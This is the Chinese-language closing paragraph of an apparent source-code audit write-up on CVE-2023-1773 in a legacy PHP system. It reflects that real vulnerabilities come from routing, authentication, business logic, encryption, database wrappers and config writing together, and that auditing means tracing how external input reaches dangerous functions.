通过这次分析可以看到,真实漏洞往往不只是某一个危险函数或某一行拼接代码造成的,而是路由设计、鉴权逻辑、业务接口、加密实现、数据库封装和配置写入机制共同作用的结果。对于源码审计来说,关键不在于孤立地寻找 file_put_contents()require() 或 SQL 拼接,而在于把外部输入如何进入系统、如何被变换、如何跨越权限边界、最终如何抵达危险点完整串联起来。CVE-2023-1773 的价值也正在于此:它提供了一个很典型的老 PHP 系统审计样本,提醒我们在分析漏洞时,既要关注最终触发点,也要重视那些看似"只是业务逻辑"的中间环节。